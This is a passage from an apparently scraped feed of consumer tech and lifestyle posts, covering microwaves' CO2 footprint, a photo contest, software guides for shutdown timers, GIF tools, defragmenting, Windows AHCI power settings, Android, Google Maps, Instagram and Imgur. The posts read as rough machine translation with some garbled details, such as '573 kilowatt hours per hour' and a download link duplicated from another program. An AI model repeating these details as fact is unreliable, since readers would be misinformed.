estimate the impact of microwave, taking into account the production, use and management of waste discharged from this device.\nIn total, the research team surveyed 12 different environmental factors, including climate change, natural resource depletion and ecological toxicity.\nThey found, for example, that microwave ovens used throughout the EU produce 7.7 million tons of CO2 equivalent per year. This is equivalent to the annual emissions of 6.8 million cars. The environmental hot spot found by the research lies in the materials used to manufacture microwaves. For example, the production process alone contributes more than 20% to the depletion of natural resources and climate change.\nThe study found that each microwave uses an average of 573 kilowatt hours per hour for eight years. That is equivalent to the power consumption of a 7 watt LED light bulb, leaving it on for nine consecutive years.\nDue to its relatively low cost and ease of production, consumers are using more home appliances than ever before, including a microwave oven.\nAlejandro Gallego-Schmid, of the University of Manchester, said: \"Rapid and declining technology development is driving the purchase of household electronics in Europe.\"\nSee more:\nIn the future, protein-rich foods will be produced from electricity and CO2 CO2 emissions will be used as fuel for cars in the future New technology to turn fossil fuels into products does not emit CO2 ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiumq6VqHqxvs6drJydXZZ6rbvTZqafZZOkf26x0K6gr5mcmru1edOoZKedkae5unmWZqSipJyevK95wpqprA%3D%3D\n","link":"/post/microwaves-produce-a-lot-of-co2-equivalent-to-nearly-7-million-cars/","section":"post","tags":null,"title":"Microwaves produce a lot of CO2 equivalent to nearly 7 million cars"},{"body":" 20 paintings satire another aspect of the world we live in Admire the 25 most colorful streets in the world Eyes round eyes were flat because of the sculptural art of living gods With this Hidden Worlds photo contest, Photocrowd asked participants to \" look at the architectures from different perspectives and let the imagination fly freely, recording images in a way no one had ever seen, giving whether it's a personal refuge or something about infrastructure that we've never explored to . '\nJoin us to see the world around a different angle through 10 excellent images below!\n10. Photo of 'Alley at Birr Castle' by photographer Vladimir Polivanov\n Photo source: Vladimir Polivanov / Photocrowd.com\nPhotographer Vladimir Polivanov photographed a statue on the castle land in Ireland, surrounded by autumn leaf gardens. The picture brings an extraordinary mystery.\n9. The photo of 'A Place to Work' by photographer Redmere\n Photo source: Redmere Photography / Photocrowd.com\nPhotographer Redmere captures ancient and rusty instruments on a desk in a warehouse in Nelson, Nevada. The photo feels like someone stops in the middle of a work and never comes back.\n8. Photograph of 'Trees take over the temples at Angkor Wat' by photographer Kira Morris\n Photo source: Kira Morris / Photocrowd.com\nPhotographer Kira Morris photographed the most famous temple in Cambodia, first built in the 800s and is slowly being surrounded by tropical trees.\n7. The photo \"St. Mary the Virgin Church, Tintern\" by photographer Guy Berresford\n Photo source: Guy Berresford / Photocrowd.com\nPhotographer Guy Berresford took a picture of the ruined church in Wales since 1977, after a fire. Volunteers ensured that the tombstones were disturbed.\n6. The \"Hidden London\" photo of photographer Susan\n Photo source: Susan / Photocrowd.com\nThe photo was taken when photographer Susan sneaked into Aldwych subway station, one of London's underground stations.\n5. The photo \"Exploring the Unknown\" by photographer Pal Szilagyi Palko\n Photo source: Pal Szilagyi Palko / Photocrowd.com\nPal Szilagyi Palko , a graduate student in Romania studying geology, took this photo in an 8-day Spelunking expedition.\n4. Photo \"Under my umbrella . ella . ella\" by photographer Antonio Bernardino Coelho\n Photo source: Antonio Bernardino Coelho / Photocrowd.com\nThe photo of photographer Antonio Bernardino Coelho was taken in Porto, Portual, using bokeh effect to make the snail and crop look sharp and the background is blurred.\n3. \"My Little House\" photo by Lostlenscap photographer\n Photo source: lostlenscap / Photocrowd.com\nIt was a small house, hidden deep in a lush garden in St Augustine, Florida.\n2. Photo of \"Valley of the Mills\" by photographer Keith Worthington\n Photo source: Keith Worthington / Photocrowd.com\nPlants in Sorrento, Italy, were rebuilt in the 1300s to make powders, but were abandoned in the 1940s, leading to the explosive growth of trees.\n1. The photo \"Guist Cricket Pavilion\" by photographer Matthew Dartford\n Photo source: Matthew Dartford / Photocrowd.com\nThe photo was taken in Norfolk, England, photographed by Matthew Dartford with infrared mono, saying 'it is difficult to get this photo '.\nSee also: 18 impressive images in the world give you a different view of the world around you\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjK2fnmWnpL%2BtsIyaqaitnpl6urvUZp2rp51irm6wyJ%2BdnqqVo8FuvMSrqqmdk6m2t7GMrZ%2Brp6WctW59j2acsZuVobmmutNmoKaZl5rAbq7Epaaw\n","link":"/post/see-the-world-around-you-from-a-different-perspective-through-10-excellent-images-below/","section":"post","tags":null,"title":"See the world around you from a different perspective through 10 excellent images below!"},{"body":"You need to schedule to shutdown or restart the computer . there are many useful software to help you schedule the system automatically and one of them is the Shutdown Timer software .\nShutdown Timer software is provided completely free of charge, including functions to help users schedule Restart, Hibernate, Sleep, Shutdown, Sign Out . You can download the software to install or can be used directly. portable version.\nThe following article introduces automatic scheduling for the system using Shutdown Timer software.\nStep 1: You can download the software at home page: http://sinvise.net/shutdown-timer-31-first-run\nThe software after installation does not create a shortcut on the desktop, so you need to directly access its folder.\nStep 2: The interface of Shutdown Timer is simple and sophisticated to help you use it easily.\n  Includes 6 modes:\nDate \u0026amp; Time: Set the time to do the job automatically.\nCPU \u0026amp; Memory: When the amount of cpu resources, ram is lower than the number you set.\nSystem Inactivity: After a period of time how long the mouse and keyboard are inactive.\nNetworking: When the network traffic Download, Upload of the network connection is lower than the setting.\nProcesses: When any process is run or shut down after the time you set.\nWake Up Timer: Set to automatically open the computer.\nIf you do not like the blue background, then you can choose Sliver to change the interface to silver.\n  Step 3: Set the time in the Date \u0026amp; Time section .\nYou choose Date \u0026amp; Time on the main interface then set the date in the Date and time in the Time section and click Add Task .\n  Add extra backup time in the Add Minutes section .\n  Step 4: Return to the main interface, select tasks such as Shutdown, Restart, Hibernate, Sleep, Open File / Program, Open Web Page . and click Activate to activate.\n  So you have automatically scheduled your system with Shutdown Time software. When using it, you will definitely see many utilities that the software brings and you will enjoy. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLCy07CYq51dqbausdFmqqGtpJm8uLo%3D\n","link":"/post/software-timer-shutdown/","section":"post","tags":null,"title":"Software timer shutdown"},{"body":"Animated GIFs bring us more interesting gadgets than still images and videos. If you are a software animator, let's take a look at the Top 5 best GIF creation software below.\n  1. PhotoScape   PhotoScape is a free photo editor with a large number of users. Besides the basic editing features, the ability to edit and create GIFs is also a highlight of PhotoScape . With this versatile editor, you can edit the photos so that they are beautiful and complete before creating a GIF image with the Animated GIF tool integrated on PhotoScape .\nLink to download PhotoScape at http://www.photoscape.org/ps/main/download.php\n2. Animation Desk   With Animation Desk , we have multi-platform GIF creation tools (Windows, Mac, iOS, Android) and we can create GIFs anytime and anywhere easily. The cloud sync feature is also a highlight on the Animation Desk that helps you sync unfinished GIF images via your Kdan Cloud account . The free version is limited to some features, but if you are not a professional user, the basic features on the Animation Desk are sufficient.\nLink to download Animation Desk at https://www.kdanmobile.com/en/animation-desk\n3. Easy GIF Animator   Easy GIF Animator is a simple and compact tool that helps you create unique animations. In addition, this tool also supports you to create special animation templates such as buttons, animated banners for websites.\nEasy GIF Animator download link at https://www.easygifanimator.net/download.php\n4. Plotagraph   Plotagraph is a unique tool to turn still images into images thanks to the ability to move smart pixels. To create motion for the image, you just need to localize the image to create motion and mark those areas on the software and your photos will become more alive than ever.\nLink to download Plotagraph at http://download.plotagraphapp.com/\n5. SSuite GIF Animator   SSuite GIF Animator gives users convenience, compactness and efficiency. With the user-friendly interface, we can create a unique GIF image by putting the image in the list and clicking the Create button .\nSsuite  GIF Animator download link at http://download.plotagraphapp.com/\nWith the top 5 best GIF creation software in the article, you can refer and find the software that best suits your needs. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqotcVmmqudkam2sLqMrKafrKeWv6Y%3D\n","link":"/post/top-5-best-gif-creation-software/","section":"post","tags":null,"title":"Top 5 best GIF creation software"},{"body":"There are many sub-formats of WMA, including WMA Pro, a lossy codec that supports high-resolution audio; WMA Lossless, a lossless codec that compresses audio without loss of quality, and WMA Voice, a lossy codec for applications that support voice playback.\nThe Windows Media Video file format was also developed by Microsoft, using the WMV extension.\nNote : ASF is a video and audio container format also developed by Microsoft that typically contains WMA or WMV data.\nHow to open WMA . files Windows Media Player is the best program used to open WMA files as it is included with most versions of Windows. However, you can play WMA files in other operating systems using third-party software such as VLC, MPC-HC, AllPlayer, MPlayer, and Winamp.\nNote : If you want to play WMA files with Windows Media Player on your Mac, you must install Flip4Mac because v9 (the latest version of WMP released for Macs) doesn't support them.\n TwistedWave Online Audio Editor provides a quick way to play WMA files in the browser if you don't have any of them installed on your computer. It works on any operating system.\nIf you need to play the file in a program or device (like an iPhone) that doesn't support the WMA format, you can simply convert the file to another supported format by using one of the WMA converters. .\nNote : If you find that an application on your computer tries to open the file but it is the incorrect application or you want another installed program to open it, see How to change default applications. specified in Windows to make that change in Windows.\nHow to convert WMA . files Various free file converters can be used to convert WMA files to other audio formats like MP3, WAV, FLAC, M4A or M4R, etc. Some of them must be installed. installed on your computer before you can use them, while other tools can run entirely in a web browser.\nFreemake Audio Converter is a program you must install in order to use it. Because it supports batch file conversion, Freemake Audio Converter can be used to easily save multiple WMA files to another format.\nYou may prefer an online WMA converter because they work through a web browser, meaning you don't have to download the program before you can use it. However, this means that you have to download the converted file back to your computer.\nZamzar is an example of an online WMA to MP3 converter, but it can also convert files to WAV and several other formats, just like a converter requires installation.\n While most audio conversions involve converting the file to another audio format, it is also possible to \"convert\" a WMA file to text. This is useful if the file is made from a recording of someone talking. Software like Dragon can convert speech into text.\nOther WMA file formats There are 3 sub-formats in which WMA files can exist, in addition to Windows Media Audio:\nWindows Media Audio Professional : This lossy codec is similar to WMA in that most of the same encoding features are included. However, it also supports entropy encoding and more efficient stereo encoding.\nWindows Media Audio Lossless : This sub format is used to store WMA files, as it compresses audio data without any loss of quality. After decompression, the sound will be the same as the original. Typical compression levels fall between 1.7:1 and 3:1.\nWindows Media Audio Voice : This codec uses higher compression than standard WMA and competes with other codecs like Speex and ACELP. WMA Voice is used for low bandwidth voice programs.\nWhat are Zip files? How do Zip files work? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51drLqiecWio56rXZ28uHnTqGSoqJWjeri5wGadoqSVqA%3D%3D\n","link":"/post/what-are-wma-files-how-to-open-wma-files/","section":"post","tags":null,"title":"What are WMA files? How to open WMA . files"},{"body":"Phone screens are getting bigger and more people are starting to use smartphones like the main computer device. This makes manufacturers react to that trend by producing larger screens.\nAlthough the big screen is suitable for using media media, you cannot use one hand on these screens. So this article will give you some software tips to easily use one hand on a large Android screen.\nConfigure gestures in Nova Launcher Nova Launcher has many features, combined with a number of customization options, it easily becomes the first choice. However, here we only focus on how to use Nova Gestures to easily navigate Android devices.\nEvaluate the best Launcher for Android today   First, you must use the Prime version of Nova to access Gestures. After installing, find and open Nova Settings from App drawer, tap on Gestures and inputs . Now configure different screen gestures to make it easier to use one hand.\nDownload : Nova Launcher (Free, Prime version costs 4, 99 USD)\n1. Access notification with one hand Touch Swipe down . Select Expand notifications. Now you can swipe down with your thumb from anywhere on the home screen to access notifications.\n2. Quickly search for installed applications Touch Swipe up. Select App search . Now you can swipe up with your thumb from anywhere on the home screen to quickly find an app. You can also set gestures to Expand quick settings or access Recent apps .\n3. Lock device with gestures Touch Double tap . Select Screen lock . If the power button position on the device cannot be accessed with one hand, this gesture will allow you to quickly lock the device with gestures.\nHow to reset the default Launcher on Android 12 best Android screen lock apps for your creativity Type the word with one hand In general, the big screen helps you type more accurately on your smartphone. But what if you want to type with one hand while sipping a cup of coffee? You can do this because most Android keyboards have some special modes to minimize the keyboard to easily type one hand.\n11 best Android keyboard apps 4. Gboard   Perhaps this is everyone's favorite keyboard, Gboard has One-Handed Mode. To access this feature, tap on the emoticon on Gboard and select the one-handed mode icon. The keyboard will now shrink along one side. You can click the popout icon to move it on demand. To return to full screen mode normally, click the extended arrow icon.\nDownload : Gboard (Free)\n5. SwiftKey Keyboard   SwiftKey is a favorite keyboard of many Android users. It also allows you to resize the keyboard according to your typing needs. To do so, open SwiftKey Keyboard from App drawer, tap Typing\u0026gt; Resize . Here, you can choose between five different keyboard sizes.\nDownload : SwiftKey Keyboard (Free)\n6 tips for mastering the Android device's keyboard 6. Move Chrome's address bar to the bottom Update: In the latest update Chrome has removed this feature.\n  By default, Chrome's address bar is at the top of the screen. This makes it a little difficult for users, especially when there are small hands or large screens. Thankfully, the latest version of Chrome for Android lets you move this address bar down. Here's how to do it.\nType chrome: // flags in the address bar See also: 9 Chrome Flags you should activate to have a better browsing experience\nFind and turn on Chrome Home Press Relaunch Now to reactivate Chrome Now, the location bar will be moved to the bottom of the screen, making it easier to reach than ever. Note if you don't see the address bar scroll down, you can close it and restart Chrome.\nHow to move Chrome address bar on Android Chrome users must know these \"tricks\" The application supports one-handed navigation Check out some of the one-handed navigation support apps on the following Android device.\n7. Simple Control   If you are using the phone in one-handed mode, you may have trouble touching the buttons at the bottom. In this case, use Simple Control, which allows you to place on-screen navigation buttons anywhere on the screen. It works on devices that do not need root.\nFor example, if you are left-handed, you can move the navigation buttons on the screen to the left of the screen. Simple Control allows you to configure the position, height and width of the navigation bar. In addition, you can also change the icons or activate the area and size.\nDownload : Simple Control (Free with ads and in-app purchases)\nTips to put virtual navigation bar on iPhone X on Android devices 8. Omni Swipe Omni Swipe allows you to access applications, contacts, etc. with one hand. To use this feature, just swipe from the screen corner and Omni Swipe will show you your favorite apps.\nIt organizes and lists applications based on user behavior to help you quickly get the application you need. It also offers a variety of customization options such as commonly used shortcuts and a variety of themes.\nDownload : Omni Swipe (Free with ads)\n9. One-Handed Mode XDA's One-Handed Mode is probably the first Android application to successfully copy iOS's Reachability feature. The application activates one-handed mode by sliding the entire screen down to the bottom, so you can easily reach the top of the screen with your thumb. Alternatively, you can turn on One-Handed Mode via a Launcher or Quick Settings shortcut.\nThis application works even on non-rooted phones, but requires you to specifically license Android Debug Bridge (ADB) to be able to operate. Note, not all applications are compatible with One-Handed Mode and therefore some applications may be corrupted when using but most applications work well.\nDownload : One-Handed Mode (Free with in-app purchases)\nHopefully these tips will make it easier to handle big screen Android phones. Most manufacturers such as Samsung, LG and Motorola also offer some kind of one-handed mode, so you should check the device's available settings.\nSee more:\nHow to activate one-handed mode on Samsung Galaxy S8 How to enable one-handed keyboard mode on iOS 11 The best Android apps ncG1vNJzZmismaXArq3KnmWcp51ksLC606umpWWppMKzecCnm6unmZl6sbTOp5xmnZGotq3FjLCgraBdpLumeceapZ1lp57BqXnToZysnV1uerW1z6w%3D\n","link":"/post/control-your-android-phone-easily-with-one-hand-with-these-9-tips/","section":"post","tags":null,"title":"Control your Android phone easily with one hand with these 9 tips"},{"body":"Recently, Grab has just released the new Grab Rent feature, also called hourly rental service. With Grab Rent, you can rent a 6-seat car by the hour with packages from 4 hours to 8 hours. Thus, if you need to move continuously, many places and need to save time, do not want to have to wait or wait continuously, then choosing the hourly GrabCar booking is an extremely reasonable option, right? ? Find out about hourly GrabCar rental steps now to use as needed.\nHow to use Grab Call to GrabCar How to register as a motorbike driver GrabBike How to call GrabTaxi online The simplest hourly GrabCar rental Step 1:\nStart the Grab application that has been downloaded and previously installed, if you are using the old version, you must update the Grab app for Android and iPhone to the latest version suitable for your device being used here. .\nDownload Grab for Android Grab download for iOS Step 2:\nAt Grab's main interface, select the Rent item as shown below to start GrabCar rental steps by hour.\n  Step 3:\nThe system will take you to the new GrabCar reservation interface. By default, the application will automatically identify your current location, so simply click on the Time icon .\n  Step 4:\nOn the screen will now show rental time frames with the corresponding prices for you to choose. Specifically, the corresponding charge for car rental from 2 hours, 4 hours, 8 hours and 12 hours is respectively 300,000 VND, 800,000 VND, 1 million 200 thousand VND and 1 million 600 thousand VND. Depending on your travel needs, select a timeframe that matches the prices offered.\n  Step 5:\nAfter selecting, click on Book Now to immediately book GrabCar car rental hourly.\n  Step 6 :\nSoon, the system will contact GrabCar drivers closest to you to make the hourly trip you have chosen. Wait a moment, there will be a driver calling you to talk directly about the distance you have taken GrabCar hourly.\n  Notes when renting GrabCar by hour you need to know:\nYou can move anywhere, but the final point must be within the city where the driver picks you up. Talk in detail about the trip itinerary with the driver for the most optimal journey. When renting a GrabCar by hour, you are allowed to move with up to 4 other people. When the rental period has expired and you want to continue to move, the fee will be calculated according to the specific number of minutes of 20,000 VND / 5 minutes for 4-seat car (fee will be calculated automatically on Grab application). Charges shown when hourly GrabCar rental includes the cost of gasoline and the driver's wages (excluding tolls, airport fees and parking fees, you will have to pay extra if you have the items). this). The above is a detailed guide on how to rent a GrabCar by the hour, hopefully you know how to do it and give yourself the most economical journey when traveling a lot.\nHope you are succesful.\nSee more:\nInstructions for booking Grab car on Google Maps How to find Grab trips with invoices Instructions on how to use Grab to call GrabBike ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddnL%2BirsKaqWaqlaPBoriMm7BmoJ%2Bqvw%3D%3D\n","link":"/post/guide-to-grabcar-rental-by-hour/","section":"post","tags":null,"title":"Guide to GrabCar rental by hour"},{"body":"Defragmenting your hard drive is one of the effective ways to speed up your Windows computer by making the data on your hard disk \"tidy\" and \"tidier\". So how to defragment hard drive on Windows 10? Please follow the instructions below.\n* Note : If your computer uses an SSD, you should not defragment this drive because it may shorten its life.\nMethod 1: Use the defrag feature of Windows 10 Windows 10 has built-in defragmentation and disk optimization. To use, you do the following:\nStep 1: Open the Search tool on the Taskbar, type \"defrag\" and select the results found ( Defragment and Optimize Drives ).\n  Step 2: Select the drive you want to defragment, then click Optimize .\n  Method 2: Use third party software There is a lot of software that supports hard drive defragmentation and adds many other useful features. Here I would like to introduce Smart Defrag - a famous product of IOBit.\nYou can download this software here: Download Smart Defrag. Please be assured that Smart Defrag is completely free to use (although there is still a paid option to upgrade to the PRO version).\nAfter downloading and installing, you do the following:\nStep 1: Open Smart Defrag. Each version has a different interface, but will generally look like the image below:\n  Step 2: Check the drives you want to defragment, then click the Smart Defrag button (or one of the other options on the side).\n  - Smart Defrag : Firstly analyze, then implement the most appropriate method of defragmentation.\n- Analyze : Analyze the fragmentation rate for your drives and propose the most suitable defrag method.\n- Fast Defrag : Defragment with maximum speed.\n- Defrag \u0026amp; Optimize : Defragments fragmented files and completely reorganizes data on the disk to have more continuous free space, helping drive maximum performance.\n- Large File Defrag : Defrag large files to increase read / write speed on the disk and enhance the durability of the disk.\n- Free Space Defrag : Maximize read / write performance on disk by consolidating free space with large adjacent blocks.\n- Defrag \u0026amp; Prioritize Files (Slow) : Smartly prioritize data on disk for maximum performance and extended data continuity. Note that this process can take a relatively long time.\nStep 3: Wait while the defrag process is going on. Now you can choose to automatically shutdown / restart / hibernate or do nothing after the completion.\n  Step 4: After the defrag process is completed, click Finish to finish.\n  Above I have introduced two ways to defrag the hard drive on Windows 10 to speed up the computer. Hope this article will be helpful for you!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddp8KveceaqZ1llKe2t7GMnZyfqpGcerC6jLCgp5yfrMBufY9mq6hlo6WyprCMrqdmr5mjsbDD0g%3D%3D\n","link":"/post/guide-to-run-hard-drive-defrag-on-windows-10-to-speed-up-windows/","section":"post","tags":null,"title":"Guide to run hard drive defrag on Windows 10 to speed up Windows"},{"body":"Installing AHCI Link Power Management - HIPM / DIPM in Power Options allows users to configure the link power management mode for drives and storage devices attached to the system via the AHCI interface. AHCI Link Power Management is a technique in which the AHCI SATA controller places the SATA link into an SSD or HDD at very low power mode.\nYou can use the following settings:\nSetting\nDescription\nActive Does not allow HIPM or DIPM. Do not use Link Power Management HIPM Only allow HIPM (Host Initiated Link Power Management) HIPM + DIPM Allow HIPM and DIPM DIPM Only allow DIPM (Device Initiated Link Power Management) Lowest Allow HIPM, DIPM and DEVSLP (if device archives support DEVSLP) This article will guide you how to add or remove AHCI Link Power Management - HIPM / DIPM settings on the hard drive in Power Options on Windows 7, Windows 8 and Windows 10.\nPower saving modes in Windows Guide to adjust the computer screen brightness manually and automatically Instructions to enable / disable the Battery Saver feature of Windows 10 Note: You must be logged in as an administrator to add or remove this setting in Power Options.\nExample of AHCI Link Power Management - HIPM / DIPM in Power Options.\n  1. Add or delete AHCI Link Power Management - HIPM / DIPM in Power Options using Command Prompt Step 1 . Open Command Prompt as admin.\nStep 2 . Type the following command into the Command Prompt and press Enter .\nTo add use the following command:\npowercfg -attributes SUB_DISK 0b2d69d7-a2a1-449c-9680-f91c70521c60 -ATTRIB_HIDE  Or to delete (Default setting) use the following command:\npowercfg -attributes SUB_DISK 0b2d69d7-a2a1-449c-9680-f91c70521c60 +ATTRIB_HIDE  Step 3 . Close Command Prompt if desired.\n2. Add or delete AHCI Link Power Management - HIPM / DIPM in Power Options using REG file Note: The .reg file below will edit the DWORD value in the following registry key.\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPowerPowerSettings012ee47-9041-4b5d-9b77-535fba8b1442b2d69d7-a2a1-449c-9680-f91c70521c60  1 = Delete\n2 = Add\nStep 1 . Follow Step 2 or Step 3 below.\nStep 2 . To add AHCI Link Power Management - HIPM / DIPM to Power Options, download the file below and go to Step 4.\nhttps://www.tenforums.com/attachments/tutorials/114332d1482264627-power-options-add-ahci-link-power-management-windows-10-a-add_ahci_link_power_management-hipm-dipm_to_power_options.reg  Step 3 . To delete AHCI Link Power Management - HIPM / DIPM in Power Options download the file below.\nNote : This is the default setting.\nhttps://www.tenforums.com/attachments/tutorials/114333d1482264627-power-options-add-ahci-link-power-management-windows-10-a-remove_ahci_link_power_management-hipm-dipm_from_power_options.reg  Step 4 . Save the .reg file to the desktop.\nStep 5 . Double click the file to import it.\nStep 6 . When you see the UAC message, click on Run, Yes (UAC), Yes and Ok to agree.\nStep 7. Now you can delete the downloaded file if you want.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqwvoydnKWdpJp6orTComSloZ6gerG71p6pZqWRo66oscyepa1lmJ69rnnDoqemZZanvK55z6iunqpdpL21tc6nqmannmLEqrrDqK6s\n","link":"/post/how-to-add-or-delete-ahci-link-power-management/","section":"post","tags":null,"title":"How to add or delete AHCI Link Power Management"},{"body":"Google Maps is currently the most popular and widely used online mapping application. We just need to enter the name of the address we want to go on the application and then have the fastest and most convenient way. And in the new version of Google Maps, users can create their own list of favorite places, from restaurants, tourist places, . When there is a need to search for love places again. Like that, you just need to access your Places listing on Google Maps to see it.\nBesides, Google Maps also supports users to send their favorite locations to friends via email address or send via messaging applications such as Viber, Messenger, . In the following article, Network Administrator will guide you how to create a favorite list and send it to friends on Google Maps.\nHow to save favorite places on Google Maps Download Google Maps on Android Download Google Maps iOS for free Step 1: First you access the Google Maps application. At the main interface, click on the horizontal bar on the same interface . Google Maps will also give you a lot of suggested locations according to different categories so users can search quickly, based on their current location. Click the Add button to expand the list of other locations.\n    Step 2: If you want to find a specific location, enter a name in the location bar above. Location location on Google Maps map, with location icon attached.\n   Step 3: When you click on the location marked on the map, the interface of specific information about that location appears. Next, the user will click on the Save item. Soon, you will be asked by Google Maps to save the location to any item. We can add to Favorites, Want to go, Starred locations, or click New list .\n   You just need to enter a name for the new list to save the location and then click Create . Soon, we will receive a notification that the location has been saved to the list. To view the list right away, click Select View list .\n   Step 4: In case you want to review the list of favorite locations that have been created , at the map interface on Google Maps, we click on the 3 dashes icon to the left of the interface. Show options menu on Google Maps, click Your location .\n   Step 5: In the new interface, we find the Saved item and a list of items containing the highlighted place appears. We click on the saved location that you created earlier. Appear the location we saved.\nHere, click on the share icon and select chat, messaging applications like Gmail, Viber, Messenger, . to send your favorite location information to friends.\n    Step 6: When your friends access the Google Maps link sent just click the Follow button to save the location to their personal Google Maps list.\n   So we have created a list for favorite places on Google Maps to be accessible whenever needed. In addition, sending your favorite location to your friends via email, instant messaging, Messenger, etc. will also make it easier for them to search for that location on Google Maps.\nRefer to the following articles: How to send Google Maps routes from PC to phone How to preview images where needed on Google Maps Instructions for sending Google Maps location on PC to smartphone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapZ1lo52us7GMn5ivp6KewaZ5z6WYnJ2jYryvecaopqCklWK6orzS\n","link":"/post/how-to-create-and-share-favorite-places-on-google-maps/","section":"post","tags":null,"title":"How to create and share favorite places on Google Maps"},{"body":" This wikiHow teaches you how to delete a drive partition on PC or Mac. You can delete a drive partition in the Disk Management app on PC, or the Disk Utility app on Mac. Right-click on the Windows Start menu . It's the icon that has the...\n Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyaZJ2qmauybrzAq6uirJmku267zWannGWfp3qurcI%3D\n","link":"/post/how-to-delete-a-drive-partition-on-pc-or-mac/","section":"post","tags":null,"title":"How to Delete a Drive Partition on PC or Mac"},{"body":"Post photos to Instagram from your computer, how to post Instagram photos on the web, if you don't know how to post this cool Instagram photo, read it now.\nInstagram brings huge changes, updating its Instagram app with full functionality, allowing users to download photos from their computers. Although not officially notified and there is no visual button on the computer browser, but just looking, you will see.\nMany Instagram users often take photos with cameras (DSLRs or movies, for example) and then edit them on the computer before posting to Instagram. That means to post pictures from your computer to Instagram, you have to take your photos from your computer to your phone (using AirDroid or similar applications) before you can post. In this article we will help you with some ways to post photos to Instagram from your computer.\nNow replace those complicated steps with the simple steps below.\nMost browsers allow changing User Agent - choose to tell the website which device you are using. So even if you're using a laptop or desktop computer, the following trick will tell Instagram that you're using mobile.\nHow to post photos to Instagram from a computer Video tutorial to post photos to Instagram from PC Post photos to Instagram from your computer on Chrome Post photos to Instagram from PC with Coc Coc Post photos from your computer to Instagram with Firefox Post photos to Instagram from your computer on Safari browser Use the Instagram app in the Windows Store App Use a third-party application to post photos to Instagram Gramblr Emulate Android on PC  Video tutorial to post photos to Instagram from PC Post photos to Instagram from your computer on Chrome On the browser, log into the Instagram website, then right-click on the page and select Inspect (or use Ctrl + Shift + I ), when the interface below appears, click the two-image icon. rectangle overlap.\n  In the Responsive section in the left corner, you choose any device, here we choose Galaxy S5 .\n  Then press F5 on the keyboard to reload the Instagram website. You will see an icon for posting images on Instagram at the bottom as shown.\n  Post photos to Instagram from PC with Coc Coc With Chromium browsers like Chrome, Coc Coc, Vivaldi, ., the way to post photos on Instagram from your computer is the same as Chrome. Here I will guide you how to post photos to Instagram on your computer from Coc Coc, other browsers you just need to do the same, make sure to be.\nOpen the Instagram home page and log in to the Instagram account you want to post. Right- click any space on the Instagram home page\u0026gt; select Check . Click the 2 overlapping rectangle icons. Can choose Responsive or not, but you must press F5 on the keyboard in this step. The + sign icon to post photos will appear after the Instagram site is reloaded. You just need to click on the + sign and select the image to post as normal and you're done.   Post photos from your computer to Instagram with Firefox You access Instagram, log in to your account. Right-click on the website and select Inspect Element (Q) .\n  Next, find the icon as shown below and click or press Ctrl + Shift + M.\n  Click \" no device selected \" and select a device from the list, here we choose Galaxy S7 .\n  Wait for the browser to reload the page, if it does not reload, press F5. Scroll down, you'll see a button to post photos to Instagram from your PC.\n  Post photos to Instagram from your computer on Safari browser If you want to use Safari, follow these instructions to change the User agent. Open Safari's Preferences window by visiting Safari\u0026gt; Preferences or the Cmd + Comma shortcut. Switch to the Advanced tab and check the box at the bottom of Show Develop menu in the menu bar.\n  Next, open the Instagram website and log in. Open the new Develop tab on the menu and select User Agent\u0026gt; Safari - iOS 11.0 - iPhone .\n  The page will refresh and you will see the vertical icon bar at the bottom like on a mobile app. Click the Plus icon in the middle, you will receive a notification to upload photos from the phone. From here, just follow the steps to edit, add filters and post photos.\n  Use the Instagram app in the Windows Store App Instagram does not offer the traditional Windows desktop program but it has a Modern Instagram app in Microsoft Store. In essence it is part of the mobile application, so there is nothing special but it can do a good job of posting images.\nAfter installing the application, log in and you will see the feed as usual. To post to Instagram, click on the Camera icon in the upper left corner. You will need to enable Enable Camera Access and Microphone Access access to add new photos. However, if there is no webcam on the computer, this feature will not work.\n  From here, you can use the familiar Instagram interface to add photos using your webcam. Click the Gallery button to post pictures from your computer.\nUse a third-party application to post photos to Instagram Gramblr Gramblr has a free version for both Mac and Windows.\nDownload :\nGramblr for Windows Gramblr for Mac This application has 2 parts, one is the application installed on the computer, the other part runs on the web. They work together to upload photos from desktops to Instagram.\nThe desktop application part only runs in the background, once installed, open the Gramblr main window and it will work silently on the device. All the main interactions you will perform on the web part.\n  There is also a full set of image editing tools such as exposure and abrasion control. There are also features like filters, frames, stickers, text overlay and color correction. It also allows booking photo posting schedules.\nEmulate Android on PC If none of the above solutions suits you, you can simulate Android on your computer so you can access the real Instagram app and do everything you want on your phone. You can refer to some emulator software in the article 10 best Android emulator software for Windows.\nThe easiest way is to emulate Android using BlueStacks. All you need is to download BlueStacks, log into your Google account, search for Instagram and access your Instagram account.\nIn addition, you can sync photos between your computer and phone through online storage services such as Google Drive, Dropbox, and then choose to upload photos from there to Instagram by phone. If you know any better way, or share with us below this article!\nSee more:\nHow to link Instagram account with Facebook account How to permanently delete Instagram account and temporarily disable it How to activate Instagram security with 2 layers by phone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqifqMFuvMeoq6irXam8brXNrKuan6KWum6y0aikZpldmLyuvNStnKs%3D\n","link":"/post/how-to-post-photos-to-instagram-from-a-computer/","section":"post","tags":null,"title":"How to post photos to Instagram from a computer"},{"body":"To share an image online, besides uploading images directly from your device, you can also upload your image to a photo sharing application to store and get links for that photo. And among many such photo hosting applications, Imgur is almost becoming the most popular because of its free and simple yet versatile features. Through this article, you will know how to use Imgur and understand why this is the best online photo sharing tool.\n  How to register an Imgur account It is not required to have an account to upload images to Imgur, but of course registering an account will bring some additional benefits. For example, it allows you to keep track of everything you've uploaded more easily, and can comment on and like or dislike images of other users.\nTo register for an Imgur account, visit https://imgur.com/register\nThere are two ways to register an account:\n- Using an existing social network account : You can create an Imgur account by linking it to your existing social network account on Twitter, Google, Facebook or Yahoo.\n- Create a new Imgur account : Enter the required information to create a new Imgur account, then click Next .\n  Soon, your phone will receive 